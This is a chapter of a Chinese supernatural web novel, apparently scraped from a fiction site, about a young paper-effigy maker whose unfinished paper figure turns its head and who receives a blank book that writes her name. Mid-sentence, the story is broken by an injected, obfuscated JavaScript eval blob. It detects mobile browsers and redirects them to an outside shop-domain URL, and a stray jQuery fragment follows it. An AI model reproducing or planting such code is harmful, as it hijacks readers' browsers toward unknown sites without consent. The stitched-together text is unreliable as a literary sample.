文趣网 > 都市小说 > 纸上人间 > 1. 扎纸铺·夜
    第一章扎纸铺·夜

    殡葬一条街的灯,天一擦黑就剩两盏。这条街的路灯没有灯罩,灯泡光秃秃地悬着,夏天飞虫绕着转,冬天在风里晃,照着一条谁也不走的路。八月的天黑得晚,七点多钟,天边还剩最后一抹白,街面上已经没什么人了。水泥路被白天的太阳晒透了,热气焐在里头,这时候走上去,鞋底还是软的。

    一盏是街口丧葬用品店的日光灯,管子里那点亮透着青,照着门口码成山的纸元宝和塑料花圈。金纸银纸在光底下反着冷光,塑料花圈被风掀起来,哗啦,哗啦,像有人在里头翻身。另一盏在沈烬的扎纸铺里。白炽灯,瓦数低,蒙了一层纸灰,光线落下来是昏黄的,刚好照亮柜台那一小块地方。灯光外面,铺子深处黑乎乎的,货架上的东西影影绰绰,像站了一屋子的人。

    这条街白天也冷清。卖寿衣的,卖纸扎的,卖花圈的,一家挨一家,门脸都旧,招牌上的字褪了色。来的人不多,来了也不多话,买了东西就走,像怕惊着谁。铺子也多半是关着的,寿衣店的老周每天九点开门,十一点就关门,他说做死人生意,赶早不赶晚。花圈店的老板娘倒是从早坐到晚,坐在门口择菜,菜叶择下来随手扔在脚边,也不扫,见了人也不招呼,只抬一下眼皮。

    沈烬的铺子不大,两间门面打通。靠墙一排货架,摆着扎好的纸马、纸房子、纸电视机、纸VCD机、纸手机,还有几台纸BP机,和一摞一摞的黄表纸、锡箔。纸马做得最用心,是她爹留下的手艺底子,鬃毛用捻好的线一根一根粘上去,远看像真的。马的眼睛是画上去的,两点墨,画得正正的。这条街上的纸扎,只有纸马有眼睛。

    柜台后面,沈烬在扎纸人。她二十四岁,在这条街上算是年轻面孔,可眉眼间的沉静,比那些做了一辈子白事生意的人还老成。白炽灯照着她,脸是白的,手也是白的,指节上几道旧茧,是竹篾和剪刀磨出来的,指甲剪得秃秃的,干干净净。白线缠在她手腕上,一圈一圈,像戴着一串素色的镯子。她扎纸的时候不说话,也不听收音机,铺子里只有竹篾弯折的轻响,一声,一声,匀匀的。

    扎了一会儿,后腰传来一阵酸。沈烬没动,换了个姿势,把重心往左边挪了挪,又继续。年纪轻轻的,腰先不行了,她抬手用袖口蹭了一下额角的汗。这铺子闷,夜里也闷,像焐着一层看不见的热。

    竹篾是下午泡下去的,在后屋的水缸里泡足两个时辰,泡透了才软,才弯得动;泡不够,一弯就断,泡过了,骨架发糟,撑不住纸。她手上缠着白线,一圈一圈把竹篾捆成骨架,动作快,稳,眼睛不用看,指腹摸到接头,就知道往哪儿绕。她扎骨架从来不用尺子,看一眼就够,竹篾该弯到几分,线该缠几道,都是死规矩。半人高的纸人立在她面前,纸脸糊好了,还没点睛。

    糊纸也有讲究。浆糊是面粉熬的,熬的时候要搅,搅到起泡,晾凉了才用。热浆糊会把宣纸烫出黄斑,烫过的纸,烧的时候先黑,不好看。纸糊两层,里层糙纸,外层宣纸,宣纸透光,点上灯,能照见纸人的骨架。剪刀是铜的,她爹留下的,刃口磨得薄,剪竹篾的时候,刃口吃进竹筋里去,脆,短,一声是一声。用完她总要擦一遍,擦完放回柜台右角,刀尖朝里。

    点过睛的纸人不能过夜。这是她爹留下的规矩。爹说,纸人有了眼睛,就有了心思。点睛要留到最后,朱砂要研,研得细,兑一点白酒,点出来的眼睛才有神。爹还说,点睛的时候,不能跟纸人对视。她一直没问为什么,也没试过。这条规矩她守了十年,没破过。

    她爹走得早,她十四岁那年没的。扎纸的手艺是爹手把手教的,爹走后铺子歇了三年,母亲重新支起来,又管了几年。爹走的那年冬天,铺子门口烧了三天纸马,纸灰落在雪上,黑一块,白一块。雪化了,灰还在。半年前,母亲也走了,走得怪。街坊说,沈家这铺子怕是不干净。沈烬不信这些,她只信规矩。规矩能保命。

    她不是喜欢这门手艺。她只是觉得,纸做的东西干净。纸人不说话,不撒谎,扎好了立在那就立着,烧了就没了,比人省心。人不一样,人走了,还要留话,留东西,留债。纸烧了,什么也不欠。

    王家来定纸人的时候,来的是儿媳妇。女人三十出头,脸黄,颧骨上两块暗斑,眼下青黑一片,像几天没合过眼。她站在柜台前,说话的时候眼睛看着别处,看着门外,看着柜台角上的黄表纸,就是不往纸人上看。她只说了一句:沈老板,给老爷子扎一对童男童女。她从口袋里摸出一沓钱,票子新旧不一,数钱的手指头有点僵,数了两遍,才递过来。沈烬接钱的时候,看见她指甲缝里嵌着一点白,是面粉。没还价,她站在门口看了半天才走,像在等什么。门外什么也没有,只有风。

    她数了数柜台上扎好的纸人。三个。都是存货,一个不多,一个不少。给王家的童男童女,她应下了,明早头七要用,今晚就得扎出来。

    「沈老板,关门了没有?」

    隔壁香烛店的刘婶探进半个身子。她五十多岁,胖,腰上系着一条看不出颜色的围裙,围裙兜里插着一把香,人还没进门,檀香味先到了。手腕上一串钥匙,走一步响一声。她手里端着一只碗,碗沿上搭着一双筷子,热气往上冒:「给你下了碗面,趁热吃。」

    「放桌上。钱明天给你。」

    「说什么钱不钱的,一碗面。」刘婶把碗放到柜台上,看了一眼她手里的纸人,压低声音,「王家老爷子明天头七,你给扎的?」

    刘婶隔三差五给她送碗面,说是看她一个姑娘家,吃饭没个准点。沈烬知道,刘婶是可怜她。这条街上的人,一半可怜她,一半怕她。

    「嗯。」

    「扎两个?」

    「两个。」

    刘婶欲言又止,末了叹了口气:「他家那个儿媳妇,今儿个天擦黑就不见了。有人说看见她往后街走,有人说她回娘家了,娘家说压根没回。派出所的人来问过话,没问出名堂。」

    「老爷子咽气那天,人还好好的,还喝了半碗粥。」刘婶摇着头,「他生前在纸厂干了一辈子,手上全是纸浆沤出来的糙皮。走的时候,手里还攥着一卷纸,家里人掰都掰不开,最后连人带纸一起入了殓。你说,这年头,什么事都有。电视里天天喊防汛,我家那口子也叫去堤上守夜了,两天没着家。」

    沈烬没接话。白线断了,她换了一根,重新起头。绕线的动作没停,像这话她听过许多遍,不值得抬头。

    刘婶站在柜台边又看了一会儿,眼皮一抬,话冷不丁拐了个弯:「对了,街口老周家的侄女,上个月结的婚,听说嫁得可好了,男方家里开厂的。」

    沈烬手上没停。

    刘婶也不管她听不听,自顾自地继续:「也是二十三、四岁的姑娘,跟你差不多大。我那天还跟她妈聊天,她妈说呀,相了好几回才定下来,现在小两口过得好着呢。」她瞟了沈烬一眼,「沈老板,你也不小了吧?你妈走之前没少操心这事吧?」

    沈烬扎着骨架,竹篾在她指间弯过去,绕紧,又弯过去。

    刘婶叹了口气,声音里带着点真切的愁:「你一个人守着这铺子,吃不好睡不好的,长此以往,身子骨都要拖垮。你妈要知道,得多心疼。」

    沈烬换了一根线,把线头咬断,抿了抿嘴角:「刘婶,面凉了。」

    「哎哟,你还没吃呢?」刘婶这才把目光从纸人身上挪开,往碗上看了一眼,「你这孩子,光顾着干活,面坨了怎么吃?我回去给你热热。」

    「不用。」

    「行吧行吧,我管不了你。」刘婶嘴上说着,脚已经往外迈了,走到门口又回头,叮咛了一句,「吃完把碗搁门口,我明早来收。别又饿着肚子干活,听见没?」

    「……听见了。」

    刘婶的脚步声远了,啪嗒,啪嗒,拐进隔壁香烛铺,门板一响,没了动静。

    沈烬把最后一道线绕紧,手指在纸人肩膀上拍了拍,放下。

    她走到柜台前,掀开碗盖。面已经不烫嘴了,汤底还温着,葱花漂在上头,油星亮晶晶的。碗底卧着一个荷包蛋,蛋黄鼓鼓的,戳破一个小口,金黄的汁液慢慢淌进面汤里。她拿起筷子,挑了一筷面拌进去,蛋黄和面汤裹在一起,颜色深了一层。

    筷子挑起来,送进嘴里。面有点坨了,嚼着发软,但汤底是鲜的。她吃得不快,一筷一筷的,中间停下来,用筷子把荷包蛋戳开,将蛋黄拌散了,和面一起拌进嘴里。

    吃到一半,肚子咕噜叫了一声。不是她自己的动静,是胃在叫,声音不大,但在安静的铺子里听得清清楚楚。

    隔壁传来刘婶的声音:「听见没?饿狠了吧!我就说嘛,肚子叫得我在隔壁都听见了!叫你吃饭你不听。」

    「刘婶。」沈烬打断她,声音平平的,「我吃完了。」

    「哎哟,吃这么快,噎着怎么办……」刘婶的声音还在唠叨,但渐渐远了,像是往里屋走了。

    沈烬把最后一口面咽下去,放下筷子。碗里还剩一点汤底,她没喝,推到一边,从柜台下面摸出一小包纸巾,抽出一张,擦了擦嘴角。

    她的手指在柜台上无意识地敲了两下,眼睛落在那几个纸人上,又移开。纸人立在那,纸脸雪白,腮红两点,没点睛,空洞洞的。她看了它们一会儿,收回目光,把纸巾叠好,塞进口袋。

    沈烬手里的动作停了半拍,又续上。母亲走得怪,这半年来,街坊在她面前提起的次数,一只手数得过来。母亲走的前几天,总坐在柜台后头翻一本书,翻得很慢,一页一页的。她问过一次,母亲说是账本,说着就把书合上了。现在想想,那本书她再没见着。

    脚步声在门外响了两下,没了。沈烬手里的动作一顿。隔了一会儿,门外又有脚步声,一下,一下,间隔均匀,像用尺子量过的。这条街上每个人的脚步她都听得出来。刘婶穿拖鞋,走路是「啪嗒、啪嗒」,两声一顿。这个脚步声不是她的。

    这条街的夜里,过了十一点,不该有人走路。沈烬没抬头,手上继续绕线,耳朵竖着。白线在她指间绕到第七圈,她停了手。

    她这半年夜里总睡不实,听见动静,要先听三遍才放心。不是胆小,是习惯。半年了,没有一次是冲她来的。这条街上的夜里,最多的动静是猫。

    脚步声从门口过去,不快不慢,经过她铺子门前,往街那头走。她在心里数着,一步,两步,数到第七步,再没有第八步。脚步声走到路灯底下,没了。

    她放下竹篾,走到门口看了一眼。风从街那头灌过来,带着一股纸灰味。后街没有人家烧纸,这个时辰。

    后街空荡荡的。路灯下蹲着一只野猫,绿眼睛看着她。路灯底下什么都没有,猫在看什么,她不知道。猫的耳朵转了一下,朝着后街深处。后街深处,路灯照不到,黑成一片。

    她站了一会儿,回身关门落了栓。

    屋里闷热,后窗开着,蚊香的白烟在灯底下绕,细细的一缕。面坨了,她也不在意,就着昏黄的灯吃。面汤里卧着一个荷包蛋,酱油放得多,咸,是刘婶的手艺。她吃面的时候想,刘婶这人嘴上爱唠叨,手上的活计倒是实在,一碗面也舍得放蛋。

    吃到一半,柜台后面「咔」的一声。很轻,像竹篾弯到不能再弯,裂开了。她放下碗,走过去。

    五个纸人整整齐齐立在柜台上,纸脸雪白,腮红两点,朱砂点的,红得扎眼。她一个一个看过去,看得很慢,一个也不放过。童男,童女,存货,存货,存货。五个。一个不多,一个不少。

    她正要转身,余光里,最边上那个童女纸人,头偏了一点。动作不大,像是有人从后头扶了一下它的头。

    她停了一下,一寸一寸转回身。纸人还是纸人,纸脸雪白,腮红两点,眼睛的位置是空的,糊着白纸,没点睛。

    没有眼睛,怎么偏头。母亲还说过一句:纸想当人的时候,会先学人动。她低下头,凑近纸人脸,看那两团空白的位置。那两团空白。空白也在对着她。

    沈烬站在原地,没动。她心里默数。一,二,三。纸人没有动。数到七,还是没有动。她没数到十。爹说过,纸人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933291|213681||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有了眼睛,就有了心思。它没有眼睛。它不该有心思。

    她伸手,捏住它的肩膀,拎起来。纸做的,轻飘飘,空心。指腹按了按它的肩头,竹篾的骨架在纸下面,一根一根,清清楚楚,接口缠得匀称,是她自己的手艺,错不了。她摸了摸纸人的脸,纸是干的,凉的。她拎着它,像拎着一件空衣服。放下,退后一步,又数了一遍。五个。

    它刚才偏头,是她看错了?风。她关了门,落了栓。屋里没有风。

    她没再想。她把那个童女纸人单独拎出来,夹在腋下,走到铺子后头。爹教的规矩第一条:纸人出了岔子,别问为什么,先烧。

    灶台边,她划了一根火柴,点着纸人的衣角。纸烧起来很快。火苗舔着纸脸,雪白变焦黄,焦黄卷成黑灰,塌下去,缩成一团。火苗是直的,没有风。没有声音,也没有气味。她看着火,从头看到尾,没有偏开眼睛。

    火快灭的时候,她拨了拨灰。灰里有一小截没烧完的东西,红绳头,小指头长。她今天剪过竹篾,剪过纸,剪过线,没碰过那卷红绳。铺子里是有一卷红绳,扎喜事纸活用,年前买的,还没拆过封。她捏着那截绳头,捻了捻。绳头是新的,齐整整的,像是刚剪下来的。

    她把红绳头扔回火里,看着它烧成一段黑灰,和纸灰混在一起,分不出来了。烧完了,她把灰扫进簸箕,出门倒进街口的垃圾箱。

    回来,她洗了手。水是凉的,她洗了三遍,搓到指节发红,坐到柜台后,把剩下的纸人码好,用黄表纸盖住。四个,一个不少。她闻了闻自己的手指。没有味道。她在这条街上住了二十四年,身上常年带着一股纸灰味,街坊都闻惯了,她自己反倒闻不出来。可纸灰的味道,她不会认错。刚才烧纸人的时候,空气里只有一股干烧的气味,连纸灰味都没有。

    她看了一眼墙上的钟。十一点四十七分。她关了灯,锁铺门的时候,检查了三遍锁。

    铺子后面是一进小院,两间屋,一棵老榆树。树是她爹活着的时候种的,年头久了,树干粗得两个人抱不过来。月亮被云挡着,院子里黑黢黢的,只有树的影子在地上铺了一大片。墙根底下,蟋蟀叫两声,停一会儿,像在等什么。她走到屋门口,手搭上门闩,冷不丁顿了一下。

    门缝里夹着一册东西。她抽出来,就着院里的天光看。一册旧书,线装,深蓝色布面,没有书名,像账本,又比账本厚。布面像浸过水又晒干,颜色深一块,浅一块。拿在手里很轻,轻得不像纸的分量,倒像捧着一团晒干的影子。

    她翻开封皮。纸页泛黄,放了很多年的那种黄,一个字也没有。页码写在右下角,手写,墨色不一,有的深,有的浅,像是不同时候写上去的。她翻书有个习惯,一页一页捏着页角翻,心里默数。

    翻到中间某一页的时候,她的手指顿了一下。那一页是凉的,凉得像刚从井水里捞出来。她没停,继续翻。她想回头找那一页,最终还是没找。

    数到第七十七页,她的手指不动了。第七十七页是空白的。纸页发黄,却比别的页白一些,像是被人用刀刮过。纸面起了一层细毛,白惨惨的,凹痕里的纸毛一根一根竖着,像刮鱼鳞,一刀挨着一刀,原来的字连着纸皮被刮掉了。她捻了捻那道凹痕,指腹蹭过去,涩的。水泡过的纸会皱,会发暗;磨白的纸不会凹得这么齐整。这是刀刮的,顺着笔画,一刀一刀,把字连着纸皮刮了下去。她低下头看那页纸,那页空白。

    墨迹从印子里渗出来。

    先是一个点,像是墨滴落在了背面,洇过来。然后笔画顺着洇开的印子成形,一笔,一画,像有一支看不见的笔蘸着水在写。竖排两行字:

    纸人馆,亥时。

    下面又渗出一行小字,比上面一行细,颜色也淡:

    持卷人,沈烬。

    她捏着书页的手指收了一下,又松开。她伸手想擦一下那行字,指腹蹭过纸面。墨干了,吃进纸里,擦不掉。

    纸人馆。殡仪馆后街她走了无数回,没见过这么一家铺子。那条后街统共六家门脸,她闭着眼都能数出来。没有这么一家。亥时,夜里九点到十一点。现在是十一点四十七分。下一个亥时,是明晚。

    她从头到尾翻完了整本书,除了第七十七页,一个字都没有。又翻了一遍,还是只有那一页。她合上书,塞进怀里,推门进屋。

    屋里没开灯。她在床沿坐下,把书又摸出来,借着窗外漏进来的月光,摩挲深蓝色的布面。布面很旧,边角磨得起了毛,像是被人翻过很多遍。

    沈烬。这个名字,她没对几个人说过。街上的人叫她沈老板,叫她小沈,没人知道她全名叫沈烬。

    这本书知道。

    她躺下来,书放在枕边,眼睛落在墙上那道白,好一会儿没挪开。屋里很静。窗外,蟋蟀叫了两声,歇了。没有风,窗纸上的榆树影子却晃了一下,又定住。

    临睡前,她打了个哈欠,用手背挡着嘴,眼角挤出了点生理性的湿意。她想,爹的规矩,点过睛的纸人不能过夜。没点过睛的,夜里自己偏了头,该怎么办。明天去问谁。

    窗外,后街的方向,远远传来一声唢呐,像是从地底下吹上来的。唢呐响了几声,断在第七声上,此后再没有响。后街安静得能听见自己的心跳。

    她躺了很久,没睡着,想母亲留下的东西里,有没有一本书,也是这样的线装,深蓝色布面。母亲有个樟木箱子,锁着。钥匙挂在她的腕子上,人走的时候,钥匙也跟着走了。箱子还在床底下,她一直没动过。

    母亲走的那天,她不在家。回来的时候,铺子里干干净净,灶上坐着一锅粥,还温着。母亲像是算好了时辰走的。她翻了个身,闭上眼睛。她不是不怕。她怕。但这半年,她等怪事等得太久。母亲走的时候,什么都没留下,只留了一个「走得怪」。现在这本书找上门来,她不能不看。

    她知道自己等的东西,来了。

    明天天亮,她要去殡仪馆后街走一趟。这条街上的每一家铺子她都认得,多出来的那一家,她会找出来。